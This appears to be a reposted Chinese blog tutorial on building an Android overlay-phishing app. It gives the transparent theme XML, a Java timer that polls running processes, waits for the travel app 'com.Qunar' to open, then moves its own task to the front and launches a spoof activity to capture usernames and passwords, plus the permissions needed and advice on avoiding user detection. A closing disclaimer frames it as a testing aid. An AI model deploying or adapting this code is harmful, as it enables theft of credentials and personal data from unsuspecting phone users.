android透明UI欺骗的简单实现

来源:互联网 发布:破解电脑红蜘蛛软件 编辑:程序博客网 时间:2024/06/05 19:58

1.应用使用方法

将本应用运行在后台,当特定的应用启动时,本应用会自动弹出背景透明的界面,覆盖在原应用上,特别是当被覆盖应用启动时是密码输入界面时,透明UI可以欺骗用户,以达到获取用户名、密码等个人信息的目的。

2.实现原理

本程序使用到透明背景界面的创建、应用后台转前台、定时查找当前运行task和app等功能。

3.实现步骤

3.1实现透明UI

首先实现自己定义的透明主题,在res/values/styles.xml中定义style如下:
<style name="shenmegui_transparent">    <item name="android:windowBackground">@color/transparent</item>    <item name="android:windowNoTitle">true</item>    <item name="android:windowIsTranslucent">true</item>    <item name="android:windowAnimationStyle">@android:style/Animation.Translucent</item></style>

其中color/transparent是定义在res/values/colors.xml中的透明色,所以在res/values/colors.xml中添加:

<color name="transparent">#0000</color>
最后在AndroidManifest.xml文件中引入自己的主题:
android:theme="@style/shenmegui_transparent">
这样,我们的界面就是透明的了。

3.2实现定时查看当前运行程序功能

当被伪造的程序开始运行时,需要弹出伪造界面,故需不断的查看当前运行的程序,本程序使用timer实现。当当前运行程序是欲覆盖应用时,使用moveTaskToFront将应用欺骗界面显示出来。具体程序如下:
public void timer(final Context context){        Timer timer=new Timer();        final TimerTask timerTask=new TimerTask() {        @Override        public void run() {            ActivityManager myActivityManager= (ActivityManager) context.getSystemService(context.ACTIVITY_SERVICE);            List<ActivityManager.RunningTaskInfo> list_task=myActivityManager.getRunningTasks(100);            List<ActivityManager.RunningAppProcessInfo> list=myActivityManager.getRunningAppProcesses();            //若当前运行程序为“去哪儿”,则调用欺骗界面。            if (list.get(0).processName.equals("com.Qunar")){                //为了使“去哪儿”程序完全呈现出来,暂停本程序6s。此处不暂停可用来实现程序锁功能。                try{                    Thread.sleep(6000);                    Log.i("shenmegui","成功暂停6s");                }catch (InterruptedException e){                    e.printStackTrace();                }                //遍历当前运行task,找到本程序所在task,移至前台。                for (ActivityManager.RunningTaskInfo i:list_task                     ) {                    if (i.topActivity.getPackageName().equals(context.getPackageName())){                        myActivityManager.moveTaskToFront(i.id,0);                    }                }                //调用欺骗界面。                Intent intent=new Intent();                intent.setClass(context,SecondActivity.class);               // intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);                context.startActivity(intent);                this.cancel();            }            Log.i("processName", list.get(0).processName);        }    };    timer.schedule(timerTask,0,4*1000);}

其中SecondActivity.class即为弹出的透明UI欺骗界面。具体SecondActivity类的写法就是根据被模仿的程序界面不同而不同了,但是要注意,要在SecondActivity中写退出程序的语句,否则用户不能在透明界面进一步操作,就会被用户发现。
最后还要注意在AndroidManifest.xml中写上权限的声明:
    <uses-permission android:name="android.permission.REORDER_TASKS"></uses-permission>    <uses-permission android:name="android.permission.GET_TASKS"></uses-permission>

4.郑重声明

本透明UI欺骗程序只能用于正当用途,比如只用来测试目标软件是否具有防止被透明UI欺骗的能力。本文档只作为本人日后参考和android漏洞测试人员最初级学习参考。



1 0
原创粉丝点击